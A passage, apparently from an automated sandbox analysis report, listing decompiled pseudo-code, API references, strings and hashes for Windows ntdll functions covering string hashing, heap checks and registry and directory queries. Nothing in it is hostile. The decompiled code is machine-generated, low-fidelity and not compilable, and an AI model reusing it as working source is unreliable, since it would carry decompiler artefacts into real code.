																_t193 = _t193 - 0x18;
																if(_t193 != _t233) {
																	continue;
																}
																goto L42;
															}
														}
														L42:
														_t233 =  *_v40;
														if( *_t193 != _t233) {
															_t193 =  &(_t193[0xc]);
														}
														while(1) {
															_t165 = _t193[4];
															_v60 = _t165;
															_v58 = _t165;
															_v56 = _v44 + _t193[2];
															if(RtlCompareUnicodeString(_v48,  &_v60, _v52) == 0) {
																break;
															}
															_t193 =  &(_t193[0xc]);
															if(_t193 > _t229) {
																goto L31;
															} else {
																if( *_t193 == _t233) {
																	continue;
																} else {
																	break;
																}
															}
															goto L83;
														}
														if(_t193 > _t229) {
															goto L31;
														} else {
															if( *_t193 == _t233) {
																goto L51;
															} else {
																goto L31;
															}
														}
													}
												}
											} else {
												_t233 = _t193 + _t199;
												_t206 =  *_v40;
												_t173 = _t206;
												_v68 = _t206;
												if( *_t233 != 0xb) {
													_t225 = _t173 %  *_t233;
												} else {
													_t225 = _t173 % 0xb;
												}
												_t41 = _t233 + 4; // 0x1cc
												_t229 = 0;
												_v40 = _t225;
												_t226 =  *_t41 + _t225 * 8;
												_t220 = _t226 + _t193;
												_t177 =  *((intOrPtr*)(_t226 +  &(_t193[2]))) + _t193;
												_v64 = _t220;
												_v76 = _t177;
												if( *_t220 <= 0) {
													goto L31;
												} else {
													_t233 = _t177;
													while(1) {
														_t178 =  *_t233;
														if(_t178 > _v72) {
															break;
														}
														_t193 = _t193 + _t178;
														if(_v33 == 0 ||  *_t193 == _t206) {
															_t207 = _t193[2];
															if(_t207 > _v72) {
																_push(_v76);
																_push(_t220);
																_push(_v40);
																_push(_v44);
																_push(_t207);
																E6B5D5720(0x33, 0, "SXS: String hash table entry at %p has invalid key offset (= %ld)\n   Header = %p; Index = %lu; Bucket = %p; Chain = %p\n", _t193);
																_t140 = 0xc0150003;
																goto L32;
															} else {
																_t181 = _t193[4];
																_v60 = _t181;
																_v58 = _t181;
																_v56 = _v44 + _t207;
																if(RtlCompareUnicodeString(_v48,  &_v60, _v52) != 0) {
																	_t206 = _v68;
																	_t220 = _v64;
																	goto L30;
																} else {
																	L51:
																	_t229 = _v44;
																	L52:
																	if(_t193 == 0 || _t193[6] == 0) {
																		goto L31;
																	} else {
																		_t223 = _v80;
																		if(_t223 != 0) {
																			 *((intOrPtr*)(_t223 + 4)) =  *((intOrPtr*)(_t229 + 0xc));
																			 *((intOrPtr*)(_t223 + 8)) = _t193[6] + _t229;
																			 *(_t223 + 0xc) = _t193[8];
																			if(_t223 + 0x28 <=  *_t223 + _t223) {
																				 *(_t223 + 0x24) = _t193[0xa];
																			}
																		}
																		return E6B58B640(0, _t193, _v8 ^ _t237, _t223, _t229, _t233);
																	}
																}
															}
														} else {
															L30:
															_t193 = _v44;
															_t229 = _t229 + 1;
															_t233 = _t233 + 4;
															if(_t229 <  *_t220) {
																continue;
															} else {
																goto L31;
															}
														}
														goto L83;
													}
													_push(_t178);
													E6B5D5720(0x33, 0, "SXS: String hash collision chain offset at %p (= %ld) out of bounds\n", _t233);
													goto L71;
												}
											}
										}
									} else {
										if(_t220 == 0) {
											if(_t229 != 0) {
												do {
													_t198 =  *_t193 & 0x0000ffff;
													_t193 =  &(_t193[1]);
													_t187 = _t187 * 0x1003f + _t198;
													_t229 = _t229 - 1;
												} while (_t229 != 0);
											}
										} else {
											if(_t229 != 0) {
												_t220 =  *0x6b636d5c;
												do {
													_t208 =  *_t193 & 0x0000ffff;
													_t193 =  &(_t193[1]);
													_t229 = _t229 - 1;
													_v64 = _t208;
													if(_t208 < 0x61) {
														L34:
														_t198 = _t208 & 0x0000ffff;
													} else {
														if(_t208 > 0x7a) {
															_t235 = _t208 & 0x0000ffff;
															_t228 = ( *(_t220 + (_t235 >> 8) * 2) & 0x0000ffff) + (_t235 >> 0x00000004 & 0x0000000f);
															_t220 =  *0x6b636d5c;
															_t208 =  *((intOrPtr*)(_t220 + (( *( *0x6b636d5c + _t228 * 2) & 0x0000ffff) + (_t235 & 0x0000000f)) * 2)) + _v64;
															goto L34;
														} else {
															_t198 = (_t208 & 0x0000ffff) - 0x20;
														}
													}
													_t187 = _t187 * 0x1003f + _t198;
												} while (_t229 != 0);
												_t233 = _v40;
											}
										}
										_t193 = _v44;
										_t229 = _v68;
										 *_t233 = _t187;
										_t140 = 0;
										L18:
										if(_t140 < 0) {
											if(_t140 != 0xc000000d) {
												L32:
												return E6B58B640(_t140, _t193, _v8 ^ _t237, _t220, _t229, _t233);
											} else {
												goto L65;
											}
										} else {
											 *_t229 = _t193[0xe];
											goto L20;
										}
									}
								}
							}
						}
					}
				}
				L83:
			}

0x6b56336f
0x6b563376
0x6b563378
0x6b56337f
0x6b563387
0x6b56338a
0x6b56338d
0x6b563390
0x6b563393
0x6b563396
0x6b563399
0x6b56339d
0x6b5ad994
0x6b5633a3
0x6b5633a3
0x6b5633a3
0x6b5633ab
0x6b5633ae
0x6b5ada5a
0x6b5ada5a
0x00000000
0x6b5633b4
0x6b5633b8
0x6b5634ea
0x6b5634ea
0x00000000
0x6b5633be
0x6b5633be
0x6b5633c4
0x6b5ad99b
0x00000000
0x6b5633ca
0x6b5633cc
0x6b563458
0x6b563458
0x00000000
0x6b5633d2
0x6b5633d2
0x6b5633d7
0x6b5ad9c2
0x00000000
0x6b5633e5
0x6b5633e5
0x6b5633e8
0x6b5633eb
0x6b5633f0
0x6b5633f5
0x6b5ad9d7
0x6b5ad9ea
0x00000000
0x6b5ad9f0
0x6b5ad9f0
0x6b5ad9ff
0x6b5ada04
0x6b5ada07
0x6b56345b
0x6b563461
0x6b563464
0x6b5ada0e
0x6b5ada0e
0x6b56346a
0x6b563471
0x6b563475
0x6b56353f
0x6b5ada7c
0x6b5ada82
0x6b5ada84
0x6b5ada89
0x6b5ada8f
0x6b5ada92
0x6b5ada92
0x6b5ada96
0x6b5ada9a
0x6b5adaa3
0x6b5adaa8
0x6b5adac1
0x00000000
0x6b5adac7
0x6b5adac7
0x6b5adaca
0x00000000
0x6b5adaca
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5adacd
0x6b5adacd
0x6b5adad0
0x6b5adad0
0x6b5adad5
0x00000000
0x6b56354f
0x6b56354f
0x6b563555
0x6b56355c
0x6b563562
0x6b56356e
0x6b56357a
0x6b563581
0x00000000
0x6b563587
0x6b563589
0x6b56358e
0x6b563590
0x6b563594
0x6b563599
0x00000000
0x00000000
0x00000000
0x6b563599
0x6b563590
0x6b56359b
0x6b56359e
0x6b5635a2
0x6b5635a4
0x6b5635a4
0x6b5635b0
0x6b5635b0
0x6b5635b7
0x6b5635bb
0x6b5635c5
0x6b5635d6
0x00000000
0x00000000
0x6b5ada64
0x6b5ada69
0x00000000
0x6b5ada6f
0x6b5ada71
0x00000000
0x6b5ada77
0x00000000
0x6b5ada77
0x6b5ada71
0x00000000
0x6b5ada69
0x6b5635de
0x00000000
0x6b5635e4
0x6b5635e6
0x00000000
0x6b5635e8
0x00000000
0x6b5635e8
0x6b5635e6
0x6b5635de
0x6b563581
0x6b56347b
0x6b56347e
0x6b563486
0x6b563488
0x6b56348a
0x6b56348d
0x6b5635ed
0x6b563493
0x6b563498
0x6b563498
0x6b56349a
0x6b56349d
0x6b56349f
0x6b5634a2
0x6b5634a9
0x6b5634ab
0x6b5634ad
0x6b5634b0
0x6b5634b5
0x00000000
0x6b5634b7
0x6b5634b7
0x6b5634c0
0x6b5634c0
0x6b5634c5
0x00000000
0x00000000
0x6b5634cb
0x6b5634d1
0x6b5635f4
0x6b5635fa
0x6b5ada20
0x6b5ada23
0x6b5ada24
0x6b5ada27
0x6b5ada2a
0x6b5ada35
0x6b5ada3d
0x00000000
0x6b563600
0x6b563600
0x6b563607
0x6b56360b
0x6b563614
0x6b563625
0x6b5ada15
0x6b5ada18
0x00000000
0x6b56362b
0x6b56362b
0x6b56362b
0x6b56362e
0x6b563630
0x00000000
0x6b563640
0x6b563640
0x6b563645
0x6b56364c
0x6b563656
0x6b56365c
0x6b563664
0x6b563669
0x6b563669
0x6b563664
0x6b56367e
0x6b56367e
0x6b563630
0x6b563625
0x6b5634df
0x6b5634df
0x6b5634df
0x6b5634e2
0x6b5634e3
0x6b5634e8
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5634e8
0x00000000
0x6b5634d1
0x6b5ada47
0x6b5ada52
0x00000000
0x6b5ada57
0x6b5634b5
0x6b563475
0x6b5633fb
0x6b5633fd
0x6b5ad9a4
0x6b5ad9aa
0x6b5ad9aa
0x6b5ad9ad
0x6b5ad9b6
0x6b5ad9b8
0x6b5ad9b8
0x6b5ad9bd
0x6b563403
0x6b563405
0x6b563407
0x6b563410
0x6b563410
0x6b563413
0x6b563416
0x6b563417
0x6b56341d
0x6b563535
0x6b563535
0x6b563423
0x6b563426
0x6b563502
0x6b563519
0x6b563525
0x6b563531
0x00000000
0x6b56342c
0x6b56342f
0x6b56342f
0x6b563426
0x6b563438
0x6b56343a
0x6b56343e
0x6b56343e
0x6b563405
0x6b563441
0x6b563444
0x6b563447
0x6b563449
0x6b56344b
0x6b56344d
0x6b5ad9d1
0x6b5634f2
0x6b5634ff
0x00000000
0x00000000
0x00000000
0x6b563453
0x6b563456
0x00000000
0x6b563456
0x6b56344d
0x6b5633f5
0x6b5633d7
0x6b5633cc
0x6b5633c4
0x6b5633b8
0x00000000

APIs

bsearch.1105(?,?,00000000,00000018,6B578C30,%*Vk,00000000,00000000), ref: 6B563575
RtlCompareUnicodeString.1105(?,?,?,?,?,%*Vk,00000000,00000000), ref: 6B5635CF
RtlHashUnicodeString.1105(?,?,00000000,?,%*Vk,00000000,00000000), ref: 6B5AD9E3
DbgPrintEx.1105(00000033,00000000,RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.,?,?,?,00000000,?,%*Vk,00000000,00000000), ref: 6B5AD9FF

Strings

SXS: String hash collision chain offset at %p (= %ld) out of bounds, xrefs: 6B5ADA49
RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section., xrefs: 6B5AD9F6
%*Vk, xrefs: 6B563386
SsHd, xrefs: 6B5633A5
SXS: String hash table entry at %p has invalid key offset (= %ld) Header = %p; Index = %lu; Bucket = %p; Chain = %p, xrefs: 6B5ADA2C

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$CompareHashPrintbsearch
String ID: %*Vk$RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.$SXS: String hash collision chain offset at %p (= %ld) out of bounds$SXS: String hash table entry at %p has invalid key offset (= %ld) Header = %p; Index = %lu; Bucket = %p; Chain = %p$SsHd
API String ID: 856964118-3037289137
Opcode ID: 5039fd83197aefa31bcfe2736f180d17366553a23e7c8f0856c3d1b08b756d1f
Instruction ID: 172f9f7c859c72dd6f5b4475e187247a9fbc3203d2f235988adacd1cfa607aab
Opcode Fuzzy Hash: 5039fd83197aefa31bcfe2736f180d17366553a23e7c8f0856c3d1b08b756d1f
Instruction Fuzzy Hash: 9DD1BE71A002198FEB25DF9CC8D0AEDF7B5FF49744F1440AAE805AB261E339D855CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D5F5F, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 161
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E6B5D5F5F(WCHAR* __ecx, intOrPtr __edx, void** _a4) {
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v36;
				void* _v40;
				char _v44;
				char _v60;
				void* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
				char _v84;
				WCHAR* _v88;
				intOrPtr _v100;
				signed int _t48;
				signed int _t54;
				int _t64;
				intOrPtr _t82;
				void* _t85;
				void* _t87;
				void* _t91;
				void* _t96;
				void* _t97;
				signed int _t100;

				_v76 = _v76 & 0x00000000;
				_t85 = 0;
				_v72 = __edx;
				if(__ecx == 0 || __edx == 0 || _a4 == 0) {
					_t48 = 0xc000000d;
					goto L26;
				} else {
					if( *__ecx == 0x5c) {
						RtlInitUnicodeString( &_v68, __ecx);
						L8:
						_v32 = _v32 & 0x00000000;
						_v20 = _v20 & 0x00000000;
						_v16 = _v16 & 0x00000000;
						_push(0x4021);
						_v28 =  &_v76;
						_push(7);
						_push( &_v60);
						_v36 = 0x18;
						_push( &_v36);
						_push(0x100001);
						_v24 = 0x40;
						_push( &_v84);
						_t54 = E6B589830();
						_t100 = _t54;
						if(_t85 == 0) {
							L13:
							if(_t100 >= 0) {
								_t96 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x410);
								if(_t96 != 0) {
									RtlInitUnicodeString( &_v76, _v88);
									_push(0);
									_push( &_v84);
									_push(1);
									_push(3);
									_push(0x410);
									_push(_t96);
									_push( &_v76);
									_push(0);
									_push(0);
									_push(0);
									_push(_v100);
									_t100 = E6B589850();
									if(_t100 >= 0) {
										_t64 =  *(_t96 + 0x3c);
										if(_t64 <= 0x104) {
											_t87 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t64 + 4);
											if(_t87 != 0) {
												_t39 = _t96 + 0x5e; // 0x5e
												memcpy(_t87, _t39,  *(_t96 + 0x3c));
												 *((short*)(_t87 + ( *(_t96 + 0x3c) >> 1) * 2)) = 0;
												 *_a4 = _t87;
											} else {
												_t100 = 0xc0000017;
											}
										}
									}
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t96);
								} else {
									_t100 = 0xc0000017;
								}
							}
							L22:
							if(_v84 != 0) {
								_push(_v84);
								E6B5895D0();
							}
							_t48 = _t100;
							L26:
							return _t48;
						}
						_t97 = _v40;
						if(_t97 != 0) {
							asm("lock xadd [edi], eax");
							if((_t54 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t97 + 4)));
								E6B5895D0();
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t97);
							}
						}
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t85);
						goto L13;
					}
					_push( &_v44);
					_push(0);
					_push( &_v68);
					_t91 = 2;
					_t100 = E6B5565BA(_t91, __ecx);
					if(_t100 < 0) {
						goto L22;
					} else {
						_t82 = _v44;
						_t85 = _v64;
						if(_t82 != 0) {
							_v68 = _t82;
							_v64 = _v40;
						}
						goto L8;
					}
				}
			}

0x6b5d5f6a
0x6b5d5f73
0x6b5d5f75
0x6b5d5f7c
0x6b5d6137
0x00000000
0x6b5d5f93
0x6b5d5f97
0x6b5d5fd9
0x6b5d5fde
0x6b5d5fde
0x6b5d5fe7
0x6b5d5fec
0x6b5d5ff1
0x6b5d5ff6
0x6b5d5ffe
0x6b5d6000
0x6b5d6005
0x6b5d600d
0x6b5d600e
0x6b5d6017
0x6b5d601f
0x6b5d6020
0x6b5d6025
0x6b5d6029
0x6b5d6066
0x6b5d6068
0x6b5d6084
0x6b5d6088
0x6b5d609d
0x6b5d60a8
0x6b5d60a9
0x6b5d60aa
0x6b5d60ac
0x6b5d60ae
0x6b5d60af
0x6b5d60b4
0x6b5d60b5
0x6b5d60b6
0x6b5d60b7
0x6b5d60b8
0x6b5d60c1
0x6b5d60c5
0x6b5d60c7
0x6b5d60cf
0x6b5d60e5
0x6b5d60e9
0x6b5d60f5
0x6b5d60fa
0x6b5d6109
0x6b5d6110
0x6b5d60eb
0x6b5d60eb
0x6b5d60eb
0x6b5d60e9
0x6b5d60cf
0x6b5d611e
0x6b5d608a
0x6b5d608a
0x6b5d608a
0x6b5d6088
0x6b5d6123
0x6b5d6128
0x6b5d612a
0x6b5d612e
0x6b5d612e
0x6b5d6133
0x6b5d613c
0x6b5d6142
0x6b5d6142
0x6b5d602b
0x6b5d6031
0x6b5d6036
0x6b5d603a
0x6b5d603c
0x6b5d603f
0x6b5d6050
0x6b5d6050
0x6b5d603a
0x6b5d6061
0x00000000
0x6b5d6061
0x6b5d5f9f
0x6b5d5fa0
0x6b5d5fa5
0x6b5d5fa8
0x6b5d5fae
0x6b5d5fb2
0x00000000
0x6b5d5fb8
0x6b5d5fb8
0x6b5d5fbc
0x6b5d5fc3
0x6b5d5fc5
0x6b5d5fcd
0x6b5d5fcd
0x00000000
0x6b5d5fc3
0x6b5d5fb2

APIs

RtlInitUnicodeString.1105(?,?,00000000,?,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 6B5D5FD9
ZwOpenFile.1105(?,00100001,?,?,00000007,00004021), ref: 6B5D6020
ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6B5D603F
RtlFreeHeap.1105(?,00000000,?,00000000,?,00100001,?,?,00000007,00004021), ref: 6B5D6050
RtlFreeHeap.1105(?,00000000,00000000,?,00100001,?,?,00000007,00004021), ref: 6B5D6061
RtlAllocateHeap.1105(?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6B5D607F
ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6B5D612E

Part of subcall function 6B5565BA: RtlInitUnicodeStringEx.1105(?,?,?), ref: 6B5565CA

RtlInitUnicodeString.1105(?,?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6B5D609D
ZwQueryDirectoryFile.1105(?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?,00000008,00000410,?), ref: 6B5D60BC
RtlAllocateHeap.1105(?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6B5D60E0
memcpy.1105(00000000,0000005E,?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000), ref: 6B5D60FA
RtlFreeHeap.1105(?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6B5D611E

Strings

@, xrefs: 6B5D6017

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeInitStringUnicode$AllocateCloseFile$DirectoryOpenQuerymemcpy
String ID: @
API String ID: 1610808139-2766056989
Opcode ID: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction ID: 18f0b50761446fb0709c697da5ecf7259844e8c1f40f21b6240013d6f5463739
Opcode Fuzzy Hash: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction Fuzzy Hash: 4051CE72504745AFE312CF68C941FABB7E8FB84754F000A29FA509B290EBB9DD05CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D4A28, Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 126nativeCOMMON

Download Yara Rule

APIs

ZwOpenKey.1105(?,00000001,00000018,00000000,?,?), ref: 6B5D4AB1

Part of subcall function 6B589600: LdrInitializeThunk.NTDLL(6B581119,?,?,00000018,?), ref: 6B58960A

DbgPrintEx.1105(00000033,00000000,SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx,?,00000000,?,6B521B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?), ref: 6B5D4ACC
ZwQueryValueKey.1105(?,6B521B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6B5D4AF9
DbgPrintEx.1105(00000033,00000000,SXS: Assembly storage root location value has non-even size,?,6B521B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6B5D4B24
DbgPrintEx.1105(00000033,00000000,SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING,?,?,6B521B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6B5D4B67
memcpy.1105(00000010,?,?,?,6B521B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6B5D4BA2
ZwClose.1105(?,00000000,?,?), ref: 6B5D4BCB

Strings

SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx, xrefs: 6B5D4B0C
SXS: Assembly storage root location value type is not REG_SZ, xrefs: 6B5D4B1C
SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING, xrefs: 6B5D4B5F
SXS: Unable to open storage root subkey %wZ; Status = 0x%08lx, xrefs: 6B5D4AC4
@, xrefs: 6B5D4A9B
SXS: Assembly storage root location value has non-even size, xrefs: 6B5D4B41

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CloseInitializeOpenQueryThunkValuememcpy
String ID: @$SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING$SXS: Assembly storage root location value has non-even size$SXS: Assembly storage root location value type is not REG_SZ$SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx$SXS: Unable to open storage root subkey %wZ; Status = 0x%08lx
API String ID: 248942162-306078230
Opcode ID: 1f361f6dc3bf68dffef35edce0b260a357958766dec9f19f258d3b2a6812b761
Instruction ID: 3d7cc00ac1f224c69ccd5b19866477b8c522c00b6618b9bce93ca361f5cb85d6
Opcode Fuzzy Hash: 1f361f6dc3bf68dffef35edce0b260a357958766dec9f19f258d3b2a6812b761
Instruction Fuzzy Hash: CE419971D41129AAFB20CF599C95BE9B3B8EF54355F0043E9E509A7240E7389E84CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6B6049A4, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 114memorynativeCOMMON

Download Yara Rule

APIs

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6B6044B7,?), ref: 6B6049DF

Part of subcall function 6B589660: LdrInitializeThunk.NTDLL(6B5D18BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6B620810,0000001C,6B5D1616), ref: 6B58966A

RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6B6044B7,?), ref: 6B6049FE
memcpy.1105(01000000,?,?,00000000,?,00000000,?,?,6B6044B7,?), ref: 6B604A0C
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6B604A42
DbgPrint.1105(HEAP: ,?), ref: 6B604A4F
DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6B604A66
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?), ref: 6B604ABC
DbgPrint.1105(HEAP: ,?,?,?,?,?,?), ref: 6B604AC9
DbgPrint.1105( This is located in the %s field of the heap header.,?,?,?,?,?,?), ref: 6B604ADB

Strings

Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 6B604A61
HEAP[%wZ]: , xrefs: 6B604A3D, 6B604AB7
HEAP: , xrefs: 6B604A4A, 6B604A5D, 6B604A5F, 6B604AC4
This is located in the %s field of the heap header., xrefs: 6B604AD6

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateCompareInitializeThunkVirtualmemcpy
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 4107597528-336120773
Opcode ID: 9badaf267797e2cc5c9f9ae9ea1349ef52a38432e75ca1398239a1cdd2337f59
Instruction ID: 3c7c355035209a13e4c51edbdccc2ab7b937bea0e07bd40eba1bd844be5d93b7
Opcode Fuzzy Hash: 9badaf267797e2cc5c9f9ae9ea1349ef52a38432e75ca1398239a1cdd2337f59
Instruction Fuzzy Hash: 7D3122B5101214EFE324DB6BC981FDB73B8EF55724F104096F4059B298EBB9ED40DA68

Uniqueness

Uniqueness Score: -1.00%

Function 6B543ACA, Relevance: 21.3, APIs: 14, Instructions: 348
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6B543ACA(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t197;
				intOrPtr _t200;
				intOrPtr _t206;
				intOrPtr _t209;
				intOrPtr _t217;
				signed int _t224;
				signed int _t226;
				signed int _t229;
				signed int _t230;
				signed int _t233;
				intOrPtr _t238;
				signed int _t246;
				signed int _t249;
				char* _t252;
				intOrPtr _t257;
				signed int _t272;
				intOrPtr _t280;
				intOrPtr _t281;
				signed char _t286;
				signed int _t291;
				signed int _t292;
				intOrPtr _t299;
				intOrPtr _t301;
				signed int _t307;
				intOrPtr* _t308;
				signed int _t309;
				intOrPtr _t312;
				signed int* _t313;
				intOrPtr _t315;
				signed int _t316;
				void* _t317;

				_push(0x84);
				_push(0x6b61f4d0);
				E6B59D0E8(__ebx, __edi, __esi);
				_t312 = __edx;
				 *((intOrPtr*)(_t317 - 0x38)) = __edx;
				 *((intOrPtr*)(_t317 - 0x20)) = __ecx;
				_t307 = 0;
				 *(_t317 - 0x74) = 0;
				 *((intOrPtr*)(_t317 - 0x78)) = 0;
				_t272 = 0;
				 *(_t317 - 0x60) = 0;
				 *((intOrPtr*)(_t317 - 0x68)) =  *((intOrPtr*)(__ecx + 0x2c)) + __ecx;
				_t197 = __edx + 0x28;
				 *((intOrPtr*)(_t317 - 0x7c)) = _t197;
				 *((intOrPtr*)(_t317 - 0x88)) = _t197;
				E6B562280(_t197, _t197);
				_t280 =  *((intOrPtr*)(_t312 + 0x2c));
				 *((intOrPtr*)(_t317 - 0x34)) = _t280;
				L1:
				while(1) {
					if(_t280 == _t312 + 0x2c) {
						E6B55FFB0(_t272, _t307,  *((intOrPtr*)(_t317 - 0x7c)));
						asm("sbb ebx, ebx");
						return E6B59D130( ~_t272 & 0xc000022d, _t307, _t312);
					}
					_t15 = _t280 - 4; // -4
					_t200 = _t15;
					 *((intOrPtr*)(_t317 - 0x70)) = _t200;
					 *((intOrPtr*)(_t317 - 0x8c)) = _t200;
					 *((intOrPtr*)(_t317 - 0x6c)) = _t200;
					_t308 = 0x7ffe0010;
					_t313 = 0x7ffe03b0;
					goto L4;
					do {
						do {
							do {
								do {
									L4:
									 *(_t317 - 0x30) =  *0x6b638628;
									 *(_t317 - 0x44) =  *0x6b63862c;
									 *(_t317 - 0x28) =  *_t313;
									 *(_t317 - 0x58) = _t313[1];
									while(1) {
										_t301 =  *0x7ffe000c;
										_t281 =  *0x7ffe0008;
										__eflags = _t301 -  *_t308;
										if(_t301 ==  *_t308) {
											goto L6;
										}
										asm("pause");
									}
									L6:
									_t313 = 0x7ffe03b0;
									_t309 =  *0x7ffe03b0;
									 *(_t317 - 0x40) = _t309;
									_t206 =  *0x7FFE03B4;
									 *((intOrPtr*)(_t317 - 0x3c)) = _t206;
									__eflags =  *(_t317 - 0x28) - _t309;
									_t308 = 0x7ffe0010;
								} while ( *(_t317 - 0x28) != _t309);
								__eflags =  *(_t317 - 0x58) - _t206;
							} while ( *(_t317 - 0x58) != _t206);
							 *(_t317 - 0x28) =  *0x6b63862c;
							__eflags =  *(_t317 - 0x30) -  *0x6b638628;
							_t308 = 0x7ffe0010;
						} while ( *(_t317 - 0x30) !=  *0x6b638628);
						__eflags =  *(_t317 - 0x44) -  *(_t317 - 0x28);
					} while ( *(_t317 - 0x44) !=  *(_t317 - 0x28));
					_t315 =  *((intOrPtr*)(_t317 - 0x6c));
					_t307 = 0;
					_t272 =  *(_t317 - 0x60);
					asm("sbb edx, [ebp-0x3c]");
					asm("sbb edx, eax");
					 *(_t317 - 0x28) = _t281 -  *(_t317 - 0x40) -  *(_t317 - 0x30) + 0x7a120;
					asm("adc edx, edi");
					asm("lock inc dword [esi+0x2c]");
					_t209 =  *((intOrPtr*)(_t317 - 0x20));
					_t286 =  *(_t315 + 0x24) &  *(_t209 + 0x18);
					 *(_t317 - 0x40) = _t286;
					__eflags =  *(_t315 + 0x34);
					if( *(_t315 + 0x34) != 0) {
						L37:
						 *((intOrPtr*)(_t317 - 0x34)) =  *((intOrPtr*)( *((intOrPtr*)(_t317 - 0x34))));
						E6B57DF4C(_t317 - 0x78, _t315, _t317 - 0x74, _t317 - 0x78);
						_t316 =  *(_t317 - 0x74);
						__eflags = _t316;
						_t280 =  *((intOrPtr*)(_t317 - 0x34));
						if(_t316 != 0) {
							 *0x6b63b1e0( *((intOrPtr*)(_t317 - 0x78)));
							 *_t316();
							_t280 =  *((intOrPtr*)(_t317 - 0x34));
						}
						_t312 =  *((intOrPtr*)(_t317 - 0x38));
						continue;
					}
					__eflags = _t286;
					if(_t286 == 0) {
						goto L37;
					}
					 *(_t317 - 0x5c) = _t286;
